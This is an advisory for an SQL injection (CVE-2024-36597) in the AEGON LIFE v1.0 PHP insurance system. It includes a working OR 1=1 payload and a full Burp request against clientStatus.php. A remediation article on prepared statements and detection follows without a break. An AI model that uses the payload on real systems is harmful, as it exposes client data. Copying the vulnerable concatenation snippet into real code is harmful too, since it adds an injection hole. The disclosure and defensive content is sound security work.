AEGON LIFE v1.0 Life Insurance Management System - SQL injection vulnerability.
# Exploit Title: Life Insurance Management System- SQL injection vulnerability.
# Exploit Author: Aslam Anwar Mahimkar
# Date: 18-05-2024
# Category: Web application
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/life-insurance-management-system-in-php/
# Version: AEGON LIFE v1.0
# Tested on: Linux
# CVE: CVE-2024-36597
# Description:
----------------
Aegon Life v1.0 was discovered to contain a SQL injection vulnerability via the client_id parameter at clientStatus.php.Important user data or system data may be leaked and system security may be compromised. Then environment is secure and the information can be used by malicious users.
# Payload:
------------------
client_id=1511986023%27%20OR%201=1%20--%20a
# Steps to reproduce
--------------------------
-Login with your creds
-Navigate to this directory - /client.php
-Click on client Status
-Will navigate to /clientStatus.php
-Capture the request in burp and inject SQLi query in client_id= filed
# Burp Request
-------------------
GET /lims/clientStatus.php?client_id=1511986023%27%20OR%201=1%20--%20a HTTP/1.1
Host: localhost
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=v6g7shnk1mm5vq6i63lklck78n
Connection: close AEGON LIFE v1.0 — SQL Injection (CVE-2024-36597): Analysis, Risks, and Mitigation
Overview
AEGON LIFE v1.0 was assigned CVE-2024-36597, indicating an SQL injection vulnerability in a web endpoint. SQL injection (SQLi) allows an attacker to manipulate application queries to the database, potentially exposing sensitive user data, bypassing authentication, or altering application state. This article explains the risk in clear, non-actionable terms, shows secure coding patterns, and provides defensive guidance for developers, DevOps, and security teams.
Quick Facts
| Item | Details |
|---|---|
| Product | AEGON LIFE v1.0 |
| Vulnerability Type | SQL Injection (CWE-89) |
| Assigned CVE | CVE-2024-36597 |
| Severity | High — data disclosure and integrity risks |
Why this matters
SQLi remains one of the highest-impact web application vulnerabilities. A successful exploit can allow attackers to:
- Read or exfiltrate sensitive customer and system data.
- Modify or delete records (data integrity loss).
- Bypass authentication or privilege controls.
- Perform secondary attacks such as remote code execution on some database engines.
Technical background (high level)
SQL injection happens when user-controlled input is incorporated into an SQL statement without proper separation between code and data. When the application concatenates or interpolates untrusted input directly into query strings, an attacker may cause the DBMS to execute unintended commands. Preventing SQLi requires ensuring user input cannot change query structure.
Common vulnerable pattern (conceptual)
Developers sometimes build queries by concatenating strings and request parameters. Conceptual example:
// Conceptual vulnerable pattern (do NOT reuse as-is)
$id = $_GET['id']; // untrusted input
$sql = "SELECT * FROM clients WHERE id = $id"; // concatenation creates risk
$result = mysqli_query($conn, $sql);
Explanation: This snippet shows how taking input directly from a request and inserting it into a SQL string can lead to injection. The example is intentionally generic and omits exploit details. Instead of concatenation, use parameterized queries and input validation.
Secure remediation — prepared statements (PHP + PDO)
Use prepared statements with bound parameters. The database treats parameters as data, not SQL code. Example using PDO:
// Secure example using PDO prepared statements
$dsn = 'mysql:host=DB_HOST;dbname=DB_NAME;charset=utf8mb4';
$pdo = new PDO($dsn, 'DB_USER', 'DB_PASS', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
// Assume $clientId comes from request but validate it first
$clientId = $_GET['client_id'] ?? '';
if (!ctype_digit($clientId)) {
// handle invalid input (e.g., return 400)
http_response_code(400);
exit;
}
$stmt = $pdo->prepare('SELECT id, name, email FROM clients WHERE id = :id');
$stmt->execute([':id' => $clientId]);
$client = $stmt->fetch(PDO::FETCH_ASSOC);
Explanation: This code uses PDO with named parameters. Input is validated (simple digit check) and passed to the prepared statement as data. The database engine cannot reinterpret parameter values as SQL. Use appropriate validation rules for the expected input type (e.g., numeric, UUID).
Alternative secure example — MySQLi with prepared statements
// MySQLi prepared statement example
$conn = new mysqli('DB_HOST', 'DB_USER', 'DB_PASS', 'DB_NAME');
if ($conn->connect_error) {
die('DB connection error');
}
$clientId = $_GET['client_id'] ?? '';
if (!ctype_digit($clientId)) {
http_response_code(400);
exit;
}
$stmt = $conn->prepare('SELECT id, name, email FROM clients WHERE id = ?');
$stmt->bind_param('i', $clientId);
$stmt->execute();
$result = $stmt->get_result();
$client = $result->fetch_assoc();
Explanation: MySQLi prepared statements also separate SQL and data. The bind_param call declares data types and safely passes values to the query.
Additional secure practices
- Use least-privilege database accounts. The web app DB user should only have the permissions it needs (SELECT/INSERT/UPDATE limited to necessary tables).
- Apply input validation and normalization — check types, lengths, and allowed characters.
- Enforce output encoding when rendering data to HTML to prevent XSS (different issue but commonly chained with SQLi).
- Use an ORM with safe query APIs as an additional layer, but ensure ORM usage is correct and avoid raw SQL when possible.
- Employ a Web Application Firewall (WAF) to provide an additional protective layer while patches are developed and deployed.
Detection and testing (defensive)
Security teams should adopt multi-layered testing to find injection issues:
- Static Application Security Testing (SAST) to detect insecure query construction in source code.
- Dynamic Application Security Testing (DAST) and authenticated scans to find runtime injection points.
- Manual code review focusing on direct string concatenation with user input and use of legacy DB APIs.
- Secure code reviews and developer training focusing on parameterized queries and input validation.
When testing, use controlled, non-destructive techniques and coordinate with application owners. Follow responsible disclosure procedures rather than public exploitation.
Operational controls and monitoring
- Enable detailed DB and application logging. Monitor for suspicious queries, high error rates, or unexpected data access patterns.
- Implement alerting for anomalies such as repeated input validation failures or queries that touch large data sets unexpectedly.
- Keep database and application dependencies up to date. Apply vendor patches promptly.
Incident response and disclosure
If a vulnerability is discovered in production:
- Isolate affected services if data integrity is at risk.
- Preserve logs and evidence for forensic analysis.
- Notify stakeholders and follow coordinated disclosure if a third-party product is involved.
- Apply a fix (parameterized queries, patch deployment), then verify via testing and audits.
Vendor and developer recommendations
- Audit the codebase for direct string construction of SQL and eliminate occurrences.
- Adopt prepared statements or parameterized query APIs throughout the application.
- Introduce automated security gates into CI/CD (SAST/DAST) to prevent regressions.
- Document secure database access patterns and provide developer training on injection risks.
Conclusion
SQL injection remains a critical risk when applications blend untrusted input with SQL. CVE-2024-36597 highlights the need for consistent use of prepared statements, robust input validation, least-privilege database accounts, and comprehensive testing. By adopting secure coding patterns and operational controls described above, development and security teams can reduce the risk of data exposure and system compromise.
References & further reading
- OWASP Top Ten — Injection: https://owasp.org/www-project-top-ten/
- OWASP SQL Injection Prevention Cheat Sheet
- Best practices for parameterized queries in PHP (PDO / MySQLi)